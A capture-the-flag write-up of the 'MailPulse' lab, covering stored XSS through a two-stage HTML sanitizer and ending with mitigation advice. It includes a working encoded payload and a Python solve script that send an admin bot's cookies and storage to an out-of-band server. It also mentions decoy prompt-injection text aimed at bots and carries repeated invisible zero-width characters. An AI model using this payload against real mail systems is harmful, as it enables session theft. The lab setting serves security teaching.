← Back to Writeups
CUSTOMMediumWeb

Lab 321 — MailPulse — Stored XSS via HTML Desanitization

XESXOR9/10/20268 min read
#web#custom#medium#html_desanitization_via_css_re#style_attribute_breakout#unquoted_attribute_injection#string_fromcharcode_payload_en#onanimationstart_bootstrap_key#admin_bot_exploitation#non_httponly_cookie_exfiltrati#url_path_oob_exfiltration#decoy_flag_avoidance

Lab 321 — MailPulse — Stored XSS via HTML Desanitization

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-07-13 | Status: Solved Techniques: html_desanitization_via_css_requoting, style_attribute_breakout, unquoted_attribute_injection, string_fromcharcode_payload_encoding, onanimationstart_bootstrap_keyframe_autofire, admin_bot_exploitation, non_httponly_cookie_exfiltration, url_path_oob_exfiltration, decoy_flag_avoidance

Summary

Task: MailPulse email platform sanitizes rich HTML then inline-renders it (Roundcube html4inline style); an admin bot reads all messages. Solution: the stage-1 CSS filter re-emits a CSS single quote as a RAW double quote inside the style attribute, breaking out of it after the second stage with no re-sanitization; inject onanimationstart on a Bootstrap keyframe to auto-fire stored XSS and exfiltrate the admin's non-HttpOnly flag cookie via the Interaction Server.

Lab 321 — MailPulse — Stored XSS via HTML Desanitization — hackadvisor

Description

MailPulse (PulseWave Communications) is a team-messaging / email-campaign platform. Users compose rich HTML messages and send them to other team members. Messages pass through an HTML sanitization pipeline before being rendered in the recipient's inbox. An admin account periodically reviews all incoming messages. Steal the admin's secret token. Credentials: user@test.com / password123. Flag format FLAG{...}. Hint: references Sonarsource's Roundcube desanitization write-up (CVE-2024-42009) — "The application processes HTML messages through two stages: sanitization and inline rendering. Look at how the second stage transforms the sanitized output." ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: We can send rich HTML mail to an admin whose headless-Chrome bot renders every incoming message. The HTML goes through a sanitizer that produces inert markup, then a second "inline rendering" stage transforms that sanitized output. The vulnerability is a desanitization: a safe, sanitized value is turned back into an active event handler by the later transform. Goal is blind stored XSS → steal the admin's token and exfiltrate it out-of-band via the HackAdvisor Interaction Server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Recon / Stack

  • Front: nginx/1.25.5; backend PHP/8.2.26; session cookie PHPSESSID (Secure, SameSite=Lax).
  • No CSP header — only the deprecated X-XSS-Protection. Any injected handler runs freely.
  • Endpoints:
    • POST /login (form email, password) → /inbox.
    • GET /compose; POST /api/messages/send JSON {recipient, subject, body} → {"success":true,"id":N}.
    • GET /message/:id — recipient render sink; body emitted inside <div class="card-body message-rendered">.
    • GET /api/search/users?q=admin → confirms admin@mailpulse.io.
  • Interaction Server (internal-only OOB endpoint, user monitors its request log): http://interact/<UUID>/, where <UUID> equals the lab instance UUID.
  • DECOY: every page embeds a honeypot FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in an HTML comment / hidden div together with prompt-injection text. It is a trap — ignored. The real flag comes only from exploitation. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The Two-Stage Pipeline (root cause)

Message HTML is rendered in two stages, mirroring Roundcube (rcube_washtml + html4inline):

  • Stage 1 — Sanitizer (HTMLPurifier-like, regex/DOM based):
    • adds alt to <img>, self-closes tags, normalizes single quotes to double quotes, encodes entities, enforces a per-element attribute allowlist.
    • <body> uniquely keeps style/title/name/class/id/data-*/dir/lang.
    • strips all event handlers; strips svg, math, iframe, object, embed, etc.
  • Stage 2 — "Inline rendering": rewrites the sanitized document's <body ...attrs...> into <div class="email-body message-body" ...attrs...> (analogous to Roundcube's html4inline). There is no re-sanitization after stage 2. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The <body>→<div> rewrite is what carries the sanitized attributes (including style) into the final rendered inbox document unchanged. If we can make a sanitized style value contain a syntactically premature ", stage 2 faithfully copies it and the attribute context is broken open in the final HTML with no further cleaning.

Finding the Desanitization (CSS quote re-quoting)

Stage 1 runs a CSS filter over the <body style="..."> value: it parses the CSS, re-serializes it against a property allowlist, and — critically — re-emits CSS string tokens with a RAW, unescaped double quote directly into the HTML style attribute: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

IN : <body style="font-family:'a'">
OUT: <div ... style="font-family:"a"">

The CSS single quote around a is normalized to a double quote and printed literally into an attribute that is itself double-quoted. That premature " closes the style attribute early, and everything after it becomes raw markup inside the <div> tag — classic HTML attribute injection. Because stage 2 does not re-sanitize, an injected event handler survives as a real attribute on the div. This is the desanitization primitive (same class as Roundcube CVE-2024-42009). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Building the Payload

We inject an event handler after the requoted CSS string, and we need it to fire without user interaction because the admin is a bot that merely renders the message.

Trick: keep the still-open portion of the style a valid CSS animation, so the div starts animating on render and onanimationstart fires automatically. The app loads /vendor/css/bootstrap.min.css, which defines the progress-bar-stripes keyframe — free, guaranteed-present animation.

Constraints discovered and worked around: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. Use animation longhands. The animation shorthand is filtered out by the CSS property allowlist, but animation-name and animation-duration survive individually.
  2. The injected handler is an UNQUOTED HTML attribute (its own quotes were consumed to close style), so its value cannot contain spaces or quotes. Wrap the JS in eval(String.fromCharCode(<codes>)) — commas survive the CSS filter (font-family allows commas), and the decoded string may freely contain quotes/spaces at runtime.
  3. Avoid > entirely. A literal > inside the style value makes stage 1's tag tokenizer terminate the <body> early and re-sanitize the remainder (stripping the handler). Everything must stay before the first >. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Proven raw render of the weaponized payload (captured from /message/:id source):

IN : <body style="animation-name:progress-bar-stripes;animation-duration:2s;font-family:'x' onanimationstart=alert(1) y='">C</body>
OUT: <div class="email-body message-body" style="animation-name:progress-bar-stripes; animation-duration:2s; font-family:"x" onanimationstart=alert(1) y="">

The style value ends up as the valid animation animation-name:progress-bar-stripes; animation-duration:2s; font-family: (the requoted "x" closes it), and onanimationstart=alert(1) is a genuine attribute → stored XSS that auto-fires when the admin bot renders the message. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Delivery & Exfiltration (admin bot + Interaction Server)

Weaponized JS (decoded from String.fromCharCode):

js
location = "http://interact/<UUID>/cookie/" + encodeURIComponent(
  document.cookie + "|LS=" + JSON.stringify(localStorage) + "|SS=" + JSON.stringify(sessionStorage)
);

Note on the OOB channel: an earlier version used /cb?c=+document.cookie and proved execution via a GET /cb hit, but the Interaction Server UI does not display query strings. Exfiltration was therefore moved into the URL path so the stolen data shows up verbatim in the request log. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Final message body sent to admin@mailpulse.io:

html
<body style="animation-name:progress-bar-stripes;animation-duration:2s;font-family:'x' onanimationstart=eval(String.fromCharCode(108,111,99,97,116,105,111,110,61,34,104,116,116,112,58,47,47,105,110,116,101,114,97,99,116,47,101,100,99,48,50,56,48,102,45,100,52,54,50,45,52,100,102,52,45,57,48,100,100,45,101,53,56,48,55,48,57,48,49,52,53,99,47,99,111,111,107,105,101,47,34,43,101,110,99,111,100,101,85,82,73,67,111,109,112,111,110,101,110,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,43,34,124,76,83,61,34,43,74,83,79,78,46,115,116,114,105,110,103,105,102,121,40,108,111,99,97,108,83,116,111,114,97,103,101,41,43,34,124,83,83,61,34,43,74,83,79,78,46,115,116,114,105,110,103,105,102,121,40,115,101,115,115,105,111,110,83,116,111,114,97,103,101,41,41)) y='">Please review the updated rendering test.</body>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solve script

python
#!/usr/bin/env python3
# Stored XSS via HTML desanitization (CSS quote requoting) -> admin cookie exfil.
import json, urllib3, requests

urllib3.disable_warnings()
BASE = "https://<INSTANCE-UUID>.labs.hackadvisor.io"
UUID = "<INSTANCE-UUID>"                       # == Interaction Server UUID
INTERACT = f"http://interact/{UUID}/cookie/"    # OOB path (query strings are NOT logged)

def to_charcodes(js: str) -> str:
    return ",".join(str(ord(c)) for c in js)

# Exfil non-HttpOnly cookies (incl. the `flag` cookie) via the URL PATH.
js = ('location="%s"+encodeURIComponent('
      'document.cookie+"|LS="+JSON.stringify(localStorage)'
      '+"|SS="+JSON.stringify(sessionStorage))' % INTERACT)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Desanitization payload:
#  - progress-bar-stripes keyframe (Bootstrap) + animation longhands -> onanimationstart auto-fires
#  - CSS single-quote 'x' gets requoted to a RAW " that closes the style attribute (stage-1 CSS filter)
#  - onanimationstart becomes a REAL unquoted attribute after stage-2 inline render (no re-sanitize)
#  - unquoted value => no spaces/quotes => eval(String.fromCharCode(...)); commas survive CSS filter
#  - NO ">" anywhere before the handler, or stage-1 tokenizer re-sanitizes the tail
body = ("<body style=\"animation-name:progress-bar-stripes;animation-duration:2s;"
        "font-family:'x' onanimationstart=eval(String.fromCharCode(%s)) y='\">"
        "Please review this message.</body>" % to_charcodes(js))
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

s = requests.Session(); s.verify = False
s.get(BASE + "/login")
s.post(BASE + "/login", data={"email": "user@test.com", "password": "password123"})
r = s.post(BASE + "/api/messages/send",
           headers={"Content-Type": "application/json"},
           data=json.dumps({"recipient": "admin@mailpulse.io",
                             "subject": "rendering test", "body": body}))
print("send:", r.json())
# Then watch the Interaction Server log for:
#   GET /cookie/PHPSESSID%3D...%3B%20flag%3DFLAG%7B...%7D|LS={}|SS={}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Result: the admin headless-Chrome bot renders the message, the div starts its progress-bar-stripes animation, onanimationstart fires, and the browser navigates to the Interaction Server. The request log shows:

GET /cookie/PHPSESSID%3D0219vbaea688v2n6ii388hi38b%3B%20flag%3DFLAG%7BREDACTED%7D%7CLS%3D%7B%7D%7CSS%3D%7B%7D

URL-decoded:

PHPSESSID=0219vbaea688v2n6ii388hi38b; flag=FLAG{REDACTED}|LS={}|SS={}

The admin's secret token is the non-HttpOnly flag cookie.

What Didn't Work

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • Roundcube-style legacy-attr quote-imbalance (bgcolor etc.): MailPulse strips legacy attributes together with their mandatory ="...", removing whole quote pairs — no imbalance created.
  • Double entity / double URL decoding: no second decode at store or render (&amp;lt;img..., %253C... stay literal).
  • iframe srcdoc entity bypass: iframe + srcdoc removed entirely.
  • MathML / SVG / noscript mutation XSS: disallowed tags stripped; handlers removed from the differential remainder.
  • Smuggling event handlers inside title/name values: they stay inside quotes (inert).
  • Subject / signature fields: subject reflected into <title> and <h4> but HTML-encoded; signature encoded and not appended.
  • Raw < inside attribute values: kept (PHP DOMDocument::saveHTML behavior) but inert because it's inside quotes. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Mitigation

  • Never post-process sanitized HTML. Any transform after sanitization (inline rendering) must re-run the sanitizer over its output, or operate on a parsed DOM instead of string rewriting.
  • Escape CSS string tokens when re-emitting them into an HTML style attribute (" → &quot; / \22), so a CSS quote can never close the attribute.
  • Render email in a sandboxed iframe (sandbox without allow-scripts) rather than inlining message HTML into the main document.
  • Add a strict CSP (default-src 'none'; script-src 'none') — the missing CSP is what let the injected handler execute at all.
  • Mark the token cookie HttpOnly so client-side script cannot read it. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍